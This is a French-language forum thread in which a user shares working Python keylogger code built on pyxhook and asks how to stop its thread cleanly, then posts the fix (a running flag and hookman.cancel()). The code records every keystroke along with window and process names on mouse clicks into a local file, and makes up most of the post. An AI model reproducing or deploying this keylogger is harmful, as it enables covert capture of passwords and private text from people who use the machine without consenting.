S'enregistrer | Rechercher | FAQ | Liste des Membres | Groupes d'utilisateurs | Connexion

  Nom d'utilisateur:    Mot de passe:       

  

Poster un nouveau sujet   Répondre au sujet Page 1 sur 1
Voir le sujet précédent :: Voir le sujet suivant  
Auteur Message
MessagePosté le: Lun Avr 30, 2018 11:12 pm    Sujet du message: [RESOLU] Thread keylogger, probleme pour en sortir. Répondre en citant

neib
Projets


 
Inscrit le: 12 Juin 2008
Messages: 49
Localisation: ::/128



Bonjour a tous.
Actuellement sur la preparation d'un petit programme je voudrais y integrer un keylogger qui serait demarre par une commande type "Keystart" et fini par "Keystop".

J'ai reussi a faire fonctionner mon thread nickel avec une fonction "print", mais des que j'y integre mon keylogger, impossible de quiter proprement mon programme.
Alors j'ai commence a chercher sur le net des solutions mais ca devient un peu un joli micmac.

Est ce que quelqu'un pourrait m'aider a m'en depatouiller?

Voici mon code remis un peu au propre : (pour mes essai j'ai couple simplement avec input)
Code:
#!/usr/bin/python3
# -*- coding: utf-8 -*-

import threading

import random
import sys
import time
import pyxhook
from fonctionEcrire import *


class Keylogger(threading.Thread):
   
   def __init__(self):
      threading.Thread.__init__(self)
      self._finished = threading.Event()
      self._interval = 0.2
   
   def setInterval(self, interval):
      self._interval = interval   #        """Set the number of seconds we sleep between executing our task"""
   
   def shutdown(self):
      self._finished.set()   #        """Stop this thread"""
   
   def run(self):
#      while 1:
      if self._finished.isSet(): return
      self.task()
           
        # sleep for interval or until shutdown
      self._finished.wait(self._interval)
   
   def task(self):

      heure = time.strftime("%d:%B:%Y a %H:%M:%S_")
#      Ecrire("donnees", "\n\n\n#\n#\n#\nDebut de la session d'enregistrement le : "+heure+".\n#\n#\n#\n\n\n")

      # Cette fonction est appellee a chaque fois qu'une touche du clavier est pressee.
      def kbevent(event):
         global running
         Ecrire("donnees", chr(event.Ascii))
   
      #Cette fonction est appellee a chaque fois qu'un bouton de la souris est presse.
      def mevent(event):
         global running
         Ecrire("donnees", "\n")
         Ecrire("donnees", heure+" : "+ event.WindowName)
         Ecrire('donnees', " "+event.WindowProcName)
         Ecrire('donnees', " "+event.MessageName)
         Ecrire('donnees', "\n")
   
      # Creation hookmanager
      hookman = pyxhook.HookManager()
      # Hook le keyboard
      hookman.KeyDown = kbevent
      hookman.HookKeyboard()
      # Hook la souris
      hookman.MouseAllButtonsDown = mevent
      hookman.HookMouse()
      # Start
      hookman.start()

      pass



# Demarrage du programme

TH = Keylogger()
heure = time.strftime("%d:%B:%Y a %H:%M:%S_")
Ecrire("donnees", "\n\n\n#\n#\n#\nDebut de la session d'enregistrement le : "+heure+".\n#\n#\n#\n\n\n")
TH.start()
print("thread demarre")

r = ""
while r != "stop" :

   r=input("yo : ")
   if r == "stop":

#      TH.join()
      TH.shutdown()
#      TH.exit()
      time.sleep(5.0)
      TH.join()
      print("thread arrete")


Je recois bien le message "thread arrete" mais le programme reste en attente et le thread continu d'inscrire les "kbevent" et "mevent" dans le fichier "donnees". Autrement dit, il est tout sauf arrete.
Que puis-je faire pour arriver a m'en defaire?

Merci beaucoup! Wink






EDIT : j'ai fini par me debloquer en ajoutant ceci a la fin de task():
Code:
      # Start
      hookman.start()

      while running:
         time.sleep(0.1)

      # Close the listener when we are done
      hookman.cancel()

      pass


et en modifiant la fin par :
Code:

running = True
r=input("yo ")
if r == "stop":
   running = False


L'idee a ete de faire intervenir une variable afin de pouvoir ajouter un "hookman.cancel()" a la fin de ma fonction.
c'est parfait comme ca, je laisse tomber les TH.shutdown() etc, mais nouveau probleme, avec cette technique je suis oblige d'inclure mon keylogger dans le meme fichier que mon programme et non dans un fichier .py separe.

Je m'explique : le fait de jouer sur la variable "running" influ directement ce qui se passe a l'interieur de ma class Keylogger(),
du coup avec un fichier different .py ajoute avec "import" dans mon code principal, cette variable ne voyage pas.
En faisant par exemple :
Code:
TH = Keylogger(running) # Avec running = True ou False.

Keylogger(True) executerai le code mais,
Keylogger(False) le re-executerai puis le terminerai au lieu de cloturer le precedemment ouvert.

Je sais pas si j'ai ete bien clair, en tout cas j'espere que ca pourra en aider certains qui comme moi galerent avec les thread... ^^

Cette methode ne me convient pas tout a fait car je la trouve un peu crado, (sur le cote non exportable (le fait de devoir reecrire le code pour chaque nouveau projet)).

Enfin bon, ca marche, que demander de mieux? Laughing
Voir le profil de l'utilisateur Envoyer un message privés
Poster un nouveau sujet   Répondre au sujet Page 1 sur 1

  


 
Sauter vers:  
Vous ne pouvez pas poster de nouveaux sujets dans ce forum
Vous ne pouvez pas répondre aux sujets dans ce forum
Vous ne pouvez pas éditer vos messages dans ce forum
Vous ne pouvez pas supprimer vos messages dans ce forum
Vous ne pouvez pas voter dans les sondages de ce forum



109997 Attacks blocked